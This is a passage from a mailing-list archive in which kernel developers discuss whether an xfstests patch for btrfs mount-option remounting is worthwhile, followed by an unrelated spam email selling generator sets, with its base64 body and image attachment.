down_limit_kver to *every* mount option. >> If needed also add deprecated flags. > Both of which are messy, and kernel version number checks don't work > with vendor kernels that have stuff back ported to them. > >> This method will introduce more effort tomaintain the test case, but >> due to the small codes and >> relativly less changes in mount options, I consider it as an >> acceptable method. > What you are saying is that such a test will require constant > maintenance from upstream developers to keep working across all the > kernels that btrfs supports. > > When combined with Eric's comments that it doesn't test the > functionality and so has relatively little benefit in terms of > improving code coverage, it doesn't paint a pretty picture. So from > that point of view, I'd say no to such a test. > >> It would be quite nice if any one can provide any better idea. > Write a test for each individual feature that exercises and > validates that feature in some way. Part of a functional test would > be to test that the mount options for that function do what they are > intended to do. Eric suggested the same thing (though in a different > way). > > Cheers, > > Dave. That's right, individual test case is the best way. But most of the options are just instructive options, and only affects performance, it's very hard to test. (like space_cace and nospace_cache) If really spilt into individual test case, most cases will be much like this case just remount it with backgroud fsstress. Only inode_cache can cause different inode number allocation and can be examined. Now I'm interested in how other filesystems like xfs makes sure that every pairing mount options are tested. Thanks Qu From sandeen@sandeen.net Sun Jan 12 22:44:16 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id F41F029DF8 for ; Sun, 12 Jan 2014 22:44:15 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id CFAFC8F8050 for ; Sun, 12 Jan 2014 20:44:12 -0800 (PST) X-ASG-Debug-ID: 1389588251-04cbb04167d76aa0001-NocioJ Received: from sandeen.net (sandeen.net [63.231.237.45]) by cuda.sgi.com with ESMTP id 1G9VGYr8uR8CcQVh for ; Sun, 12 Jan 2014 20:44:11 -0800 (PST) X-Barracuda-Envelope-From: sandeen@sandeen.net X-Barracuda-Apparent-Source-IP: 63.231.237.45 Received: from liberator.sandeen.net (liberator.sandeen.net [10.0.0.4]) (using TLSv1 with cipher DHE-RSA-CAMELLIA256-SHA (256/256 bits)) (No client certificate requested) by sandeen.net (Postfix) with ESMTPSA id 2B2C063C3CA7; Sun, 12 Jan 2014 22:44:11 -0600 (CST) Message-ID: <52D36F19.3070207@sandeen.net> Date: Sun, 12 Jan 2014 22:44:09 -0600 From: Eric Sandeen User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: Qu Wenruo , Dave Chinner CC: xfs@oss.sgi.com, Eric Sandeen , linux-btrfs Subject: Re: [PATCH] xfstests: Add pairing mount options test References: <1389162648-19309-1-git-send-email-quwenruo@cn.fujitsu.com> <52D01CA9.4040107@sandeen.net> <52D33F92.2000609@cn.fujitsu.com> <52D342F0.5020402@sandeen.net> <20140113015239.GD3469@dastard> <52D34EBD.4020508@cn.fujitsu.com> <20140113032650.GH3469@dastard> <52D364DA.4000708@cn.fujitsu.com> X-ASG-Orig-Subj: Re: [PATCH] xfstests: Add pairing mount options test In-Reply-To: <52D364DA.4000708@cn.fujitsu.com> X-Enigmail-Version: 1.6 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: sandeen.net[63.231.237.45] X-Barracuda-Start-Time: 1389588251 X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144027 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- On 1/12/14, 10:00 PM, Qu Wenruo wrote: > Now I'm interested in how other filesystems like xfs makes sure that every pairing > mount options are tested. For starters, xfs actually doesn't handle very many options during remount. Many of them are quite tricky to do, which made me wonder if they all actually worked properly for btrfs. :) -Eric From steve.fosen@gmail.com Mon Jan 13 06:06:37 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=FREEMAIL_FROM, HTML_FONT_FACE_BAD,HTML_MESSAGE autolearn=ham version=3.3.1 X-Original-To: linux-xfs@oss.sgi.com Delivered-To: linux-xfs@oss.sgi.com Received: from relay.sgi.com (relay1.corp.sgi.com [137.38.102.111]) by oss.sgi.com (Postfix) with ESMTP id C75057F3F for ; Mon, 13 Jan 2014 06:06:37 -0600 (CST) Received: from cuda.sgi.com (cuda2.sgi.com [192.48.176.25]) by relay1.corp.sgi.com (Postfix) with ESMTP id 9D5548F8037 for ; Mon, 13 Jan 2014 04:06:34 -0800 (PST) X-ASG-Debug-ID: 1389614792-04cbb04169d83790001-w1Z2WR Received: from mail-pd0-f193.google.com (mail-pd0-f193.google.com [209.85.192.193]) by cuda.sgi.com with ESMTP id t8TQOIugfq8phEwh (version=TLSv1 cipher=RC4-SHA bits=128 verify=NO) for ; Mon, 13 Jan 2014 04:06:32 -0800 (PST) X-Barracuda-Envelope-From: steve.fosen@gmail.com X-Barracuda-Apparent-Source-IP: 209.85.192.193 X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.193] Received: by mail-pd0-f193.google.com with SMTP id y10so216510pdj.8 for ; Mon, 13 Jan 2014 04:06:32 -0800 (PST) X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.193] X-Barracuda-IPDD: Level1 [gmail.com/209.85.192.193] X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=date:from:to:reply-to:subject:mime-version:message-id:content-type; bh=r6wqLpHYm9kMuLC4GwFUo6mJnc71NeBrJz8QenTX9go=; b=ik1x0TX/LCoj5Y6IwqxCUP/W1KP2czE0P8j1/AS/JqPzjgkvDU0pYerAgZY4HCPSmn /nxO0SuToUFTPjv7f3Y31Z2vkw0f2HQr4PrPLon15mgq3NIFMIQ2pF9gRpXqLils6ITX wUvi1vuGmyBS7W0Q/Eb8zgcEEfBCSvILlLg1+QR58h8I32TqNfNtdPkZUPk5ziXKKXu9 +kfBOdrlxmpu37qQeQfwatcHs4uDXl3JIRp+SEiurxP1l/3/V6ZrjukJWSdkFc+uG0Yr xJVG/n9xJpxIX0ZuxNM9egCrjwemrlXo/kWKnr3PJ+t1m3O32KD53EBVDl7VFOo/PFX0 R4uA== X-Received: by 10.66.27.107 with SMTP id s11mr15090993pag.64.1389614791578; Mon, 13 Jan 2014 04:06:31 -0800 (PST) Received: from 2013-20130720OO ([27.219.163.62]) by mx.google.com with ESMTPSA id nw11sm48153200pab.13.2014.01.13.04.06.29 for (version=TLSv1 cipher=RC4-SHA bits=128/128); Mon, 13 Jan 2014 04:06:31 -0800 (PST) Date: Mon, 13 Jan 2014 19:57:22 +0800 From: steve.fosen To: linux-xfs Reply-To: steve.fosen Subject: RE: Genset X-Priority: 3 X-ASG-Orig-Subj: RE: Genset X-GUID: C6207738-A6AC-47BE-9BE9-8F3BD97D6302 X-Has-Attach: no X-Mailer: Foxmail 7.0.1.86[cn] Mime-Version: 1.0 Message-ID: <201401131957060948673@gmail.com> Content-Type: multipart/related; boundary="----=_001_NextPart682630066744_=----" X-Barracuda-Connect: mail-pd0-f193.google.com[209.85.192.193] X-Barracuda-Start-Time: 1389614792 X-Barracuda-Encrypted: RC4-SHA X-Barracuda-URL: http://192.48.176.25:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.61 X-Barracuda-Spam-Status: No, SCORE=0.61 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests=HTML_FONT_FACE_BAD, HTML_MESSAGE X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.144037 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- 0.00 HTML_MESSAGE BODY: HTML included in message 0.61 HTML_FONT_FACE_BAD BODY: HTML font face is not a word This is a multi-part message in MIME format. ------=_001_NextPart682630066744_=---- Content-Type: multipart/alternative; boundary="----=_002_NextPart532727704130_=----" ------=_002_NextPart532727704130_=---- Content-Type: text/plain; charset="gb2312" Content-Transfer-Encoding: base64 R29vZCBEYXkgDQoNCkdsYWQgdG8gaGVhciB0aGF0IHlvdSBkbyBidXNpbmVzcyBpbiBpbnRlcmVz dGVkIGluIGdlbmVyYXRvci4gU28gd2UgYXJlIHdyaXRpbmcgdG8gYXNrIHdoZXRoZXIgd2UgY2Fu IGVzdGFibGlzaCBidXNpbmVzcyByZWxhdGlvbnNoaXAgb3Igbm90Lg0KICANCldlIGFyZSB0aGUg ZmFtb3VzIHN1cHBsaWVyIGZvciBnZW5lcmF0b3Igc2V0IGFuZCBnZW5lcmF0b3IgcGFydHMgZnJv bSAyMEtXIHRvIDIwMDBLVy4NClRoZSBtYWluIGVuZ2luZSAsIEN1bW1pbnMsIFBlcmtpbnMsIFZv bHZvLCBXZWljaGFpLCBZdWNoYWmjrERvbmdmZW5no6xEZXV0eiAsRGFld29vICxNVFUsIGV0Yy4N Cg0KIA0KV2UgaG9wZSB0byBoYXZlIHRoZSBvcHBvcnR1bml0eSB0byB3b3JrIHRvZ2V0aGVyIHdp dGggeW91IGluIHRoZSBmdXR1cmUuDQpZb3VyIHByb21wdCByZXBseSB3aWxsIGJlIGhpZ2hseSBh cHByZWNpYXRlZA0KDQoNCg0KDQpCZXN0IFJlZ2FyZHMgDQpTdGV2ZSBKSQ0KR2VuZXJhbCBNYW5h Z2VyIA0KDQogIA0KUWluZ2RhbyBGb3NlbiBFbnRlcnByaXNlIENvLixMdGQuDQpBZGQ6IDEtMjMw NixOby4xNjkgRnV6aG91IE5vcnRoIFJkLFFpbmdkYW8sQ2hpbmENClRlbDogKzg2IDUzMiA4NTk4 IDEwMjcgIEZheDogKzg2IDUzMiA4NTk4IDEwMjYNCk1vYjorODYgMTM1IDczMjIgMDQ4NQ0KU2t5 cGU6IHN0ZXZlamk5MjgNCkVtYWlsOiBzdGV2ZS5mb3NlbkBnbWFpbC5jb20gIA== ------=_002_NextPart532727704130_=---- Content-Type: text/html; charset="gb2312" Content-Transfer-Encoding: quoted-printable
Go= od Day
&n= bsp;

Glad to hear that you=20 do business in interested in generator. So we are writ= ing to ask=20 whether we can establish business relationship or not.

  <= U=20 style=3D"FONT-SIZE: 10.5pt; FONT-FAMILY: =CE=A2=C8=ED=D1=C5=BA=DA">

We are the=20 famous supplier for generator set and generator parts from 20KW to 2000KW.=

The main=20 engine , Cummins, Perkins, Volvo, Weichai, Yuchai=A3=ACDongfeng=A3=ACDeutz= ,Daewoo ,MTU,=20 etc.

 

We=20 hope to have the opportunity to work together with you in the=20 future.Your pr= ompt reply will be highly=20 appreciated

 

=

<= FONT=20 face=3DVerdana>Best Regards=20

Steve JI

General<= /SPAN> Manager=20

<= /SPAN> 

<= /SPAN>

 

Qingdao=20 Fosen Enterprise Co.,Ltd.=

<= SPAN=20 lang=3DEN-US=20 style=3D"FONT-SIZE: 10.5pt; FONT-FAMILY: Arial; LINE-HEIGHT: 170%; mso-han= si-font-family: Calibri; mso-bidi-font-family: 'Times New Roman'">Add:=20 1-2306,No.169 Fuzhou North=20 Rd,Qingdao,China

<= SPAN=20 lang=3DEN-US=20 style=3D"FONT-SIZE: 10.5pt; FONT-FAMILY: Arial; LINE-HEIGHT: 170%; mso-han= si-font-family: Calibri; mso-bidi-font-family: 'Times New Roman'">Tel:=20 +86 532 8598 1027 =20 Fax: +86 532 8598=20 1026

<= SPAN=20 lang=3DEN-US=20 style=3D"FONT-SIZE: 10.5pt; FONT-FAMILY: Arial; LINE-HEIGHT: 170%; mso-han= si-font-family: Calibri; mso-bidi-font-family: 'Times New Roman'">Mob:+86=20 135 7322 0485

<= SPAN=20 lang=3DEN-US=20 style=3D"FONT-SIZE: 10.5pt; FONT-FAMILY: Arial; LINE-HEIGHT: 170%; mso-han= si-font-family: Calibri; mso-bidi-font-family: 'Times New Roman'">Skype:=20 steveji928

<= SPAN=20 lang=3DEN-US=20 style=3D"FONT-SIZE: 12pt; FONT-FAMILY: Arial; mso-hansi-font-family: Calib= ri; mso-bidi-font-family: 'Times New Roman'">Email: steve.fosen@gmail.com &nbs= p;

------=_002_NextPart532727704130_=------ ------=_001_NextPart682630066744_=---- Content-Type: image/jpeg; name="47735_47735_2013.5.21_(11-03-09-13-10).jpg" Content-Transfer-Encoding: base64 Content-ID: <_Foxmail.0@B3AB6C6B-5D18-4BC5-8846-9066FD98BC8E> /9j/4AAQSkZJRgABAgEAYABgAAD/4QsHRXhpZgAATU0AKgAAAAgABwESAAMAAAABAAEAAAEaAAUA AAABAAAAYgEbAAUAAAABAAAAagEoAAMAAAABAAIAAAExAAIAAAAcAAAAcgEyAAIAAAAUAAAAjodp AAQAAAABAAAApAAAANAADqYAAAAnEAAOpgAAACcQQWRvYmUgUGhvdG9zaG9wIENTMiBXaW5kb3dz ADIwMTM6MDU6MjEgMTk6MTU6MjkAAAAAA6ABAAMAAAABAAEAAKACAAQAAAABAAACPqADAAQAAAAB AAAATwAAAAAAAAAGAQMAAwAAAAEABgAAARoABQAAAAEAAAEeARsABQAAAAEAAAEmASgAAwAAAAEA AgAAAgEABAAAAAEAAAEuAgIABAAAAAEAAAnRAAAAAAAAAEgAAAABAAAASAAAAAH/2P/gABBKRklG AAECAABIAEgAAP/tAAxBZG9iZV9DTQAB/+4ADkFkb2JlAGSAAAAAAf/bAIQADAgICAkIDAkJDBEL CgsRFQ8MDA8VGBMTFRMTGBEMDAwMDAwRDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAENCwsN Dg0QDg4QFA4ODhQUDg4ODhQRDAwMDAwREQwMDAwMDBEMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM DAwM/8AAEQgAFgCgAwEiAAIRAQMRAf/dAAQACv/EAT8AAAEFAQEBAQEBAAAAAAAAAAMAAQIEBQYH CAkKCwEAAQUBAQEBAQEAAAAAAAAAAQACAwQFBgcICQoLEAABBAEDAgQCBQcGCAUDDDMBAAIRAwQh EjEFQVFhEyJxgTIGFJGhsUIjJBVSwWIzNHKC0UMHJZJT8OHxY3M1FqKygyZEk1RkRcKjdDYX0lXi ZfKzhMPTdePzRieUpIW0lcTU5PSltcXV5fVWZnaGlqa2xtbm9jdHV2d3h5ent8fX5/cRAAICAQIE BAMEBQYHBwYFNQEAAhEDITESBEFRYXEiEwUygZEUobFCI8FS0fAzJGLhcoKSQ1MVY3M08SUGFqKy gwcmNcLSRJNUoxdkRVU2dGXi8rOEw9N14/NGlKSFtJXE1OT0pbXF1eX1VmZ2hpamtsbW5vYnN0dX Z3eHl6e3x//aAAwDAQACEQMRAD8A9VTSuJ+tfXsT7ZmY/qB12FW2nGpkCb7dtt9z3E+1uNQ6jb/1 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 YjzSMmz0iHE1kwWkxq0+q2yrdt+j/hf9Enxq2AXim20udY4uNgPtcfza/Ua32M/NXzAkkp+mDVhR /PWy52SWFo9wJcftLWbK/wDB2/zf5/8AXVvCbS3EpFDi+kVsFTj+6GjaeG/SXy4kkp//2f/tD9pQ aG90b3Nob3AgMy4wADhCSU0EJQAAAAAAEAAAAAAAAAAAAAAAAAAAAAA4QklNA+0AAAAAABAAYAAA AAEAAgBgAAAAAQACOEJJTQQmAAAAAAAOAAAAAAAAAAAAAD+AAAA4QklNBA0AAAAAAAQAAAB4OEJJ TQQZAAAAAAAEAAAAHjhCSU0D8wAAAAAACQAAAAAAAAAAAQA4QklNBAoAAAAAAAEAADhCSU0nEAAA AAAACgABAAAAAAAAAAI4QklNA/UAAAAAAEgAL2ZmAAEAbGZmAAYAAAAAAAEAL2ZmAAEAoZmaAAYA AAAAAAEAMgAAAAEAWgAAAAYAAAAAAAEANQAAAAEALQAAAAYAAAAAAAE4QklNA/gAAAAAAHAAAP// //////////////////////////8D6AAAAAD/////////////////////////////A+gAAAAA//// /////////////////////////wPoAAAAAP////////////////////////////8D6AAAOEJJTQQA AAAAAAACAAE4QklNBAIAAAAAAAQAAAAAOEJJTQQwAAAAAAACAQE4QklNBC0AAAAAAAYAAQAAAAI4 QklNBAgAAAAAABAAAAABAAACQAAAAkAAAAAAOEJJTQQeAAAAAAAEAAAAADhCSU0EGgAAAAADPwAA AAYAAAAAAAAAAAAAAE8AAAI+AAAABWcqaAeYmAAtADEAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAEA AAAAAAAAAAAAAj4AAABPAAAAAAAAAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAEAAAAAEA AAAAAABudWxsAAAAAgAAAAZib3VuZHNPYmpjAAAAAQAAAAAAAFJjdDEAAAAEAAAAAFRvcCBsb25n AAAAAAAAAABMZWZ0bG9uZwAAAAAAAAAAQnRvbWxvbmcAAABPAAAAAFJnaHRsb25nAAACPgAAAAZz bGljZXNWbExzAAAAAU9iamMAAAABAAAAAAAFc2xpY2UAAAASAAAAB3NsaWNlSURsb25nAAAAAAAA AAdncm91cElEbG9uZwAAAAAAAAAGb3JpZ2luZW51bQAAAAxFU2xpY2VPcmlnaW4AAAANYXV0b0dl bmVyYXRlZAAAAABUeXBlZW51bQAAAApFU2xpY2VUeXBlAAAAAEltZyAAAAAGYm91bmRzT2JqYwAA AAEAAAAAAABSY3QxAAAABAAAAABUb3AgbG9uZwAAAAAAAAAATGVmdGxvbmcAAAAAAAAAAEJ0b21s b25nAAAATwAAAABSZ2h0bG9uZwAAAj4AAAADdXJsVEVYVAAAAAEAAAAAAABudWxsVEVYVAAAAAEA AAAAAABNc2dlVEVYVAAAAAEAAAAAAAZhbHRUYWdURVhUAAAAAQAAAAAADmNlbGxUZXh0SXNIVE1M Ym9vbAEAAAAIY2VsbFRleHRURVhUAAAAAQAAAAAACWhvcnpBbGlnbmVudW0AAAAPRVNsaWNlSG9y ekFsaWduAAAAB2RlZmF1bHQAAAAJdmVydEFsaWduZW51bQAAAA9FU2xpY2VWZXJ0QWxpZ24AAAAH ZGVmYXVsdAAAAAtiZ0NvbG9yVHlwZWVudW0AAAARRVNsaWNlQkdDb2xvclR5cGUAAAAATm9uZQAA AAl0b3BPdXRzZXRsb25nAAAAAAAAAApsZWZ0T3V0c2V0bG9uZwAAAAAAAAAMYm90dG9tT3V0c2V0 bG9uZwAAAAAAAAALcmlnaHRPdXRzZXRsb25nAAAAAAA4QklNBCgAAAAAAAwAAAABP/AAAAAAAAA4 QklNBBQAAAAAAAQAAAACOEJJTQQMAAAAAAntAAAAAQAAAKAAAAAWAAAB4AAAKUAAAAnRABgAAf/Y /+AAEEpGSUYAAQIAAEgASAAA/+0ADEFkb2JlX0NNAAH/7gAOQWRvYmUAZIAAAAAB/9sAhAAMCAgI CQgMCQkMEQsKCxEVDwwMDxUYExMVExMYEQwMDAwMDBEMDAwMDAwMDAwMDAwMDAwMDAwMDAwMDAwM DAwMAQ0LCw0ODRAODhAUDg4OFBQODg4OFBEMDAwMDBERDAwMDAwMEQwMDAwMDAwMDAwMDAwMDAwM DAwMDAwMDAwMDAz/wAARCAAWAKADASIAAhEBAxEB/90ABAAK/8QBPwAAAQUBAQEBAQEAAAAAAAAA AwABAgQFBgcICQoLAQABBQEBAQEBAQAAAAAAAAABAAIDBAUGBwgJCgsQAAEEAQMCBAIFBwYIBQMM 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 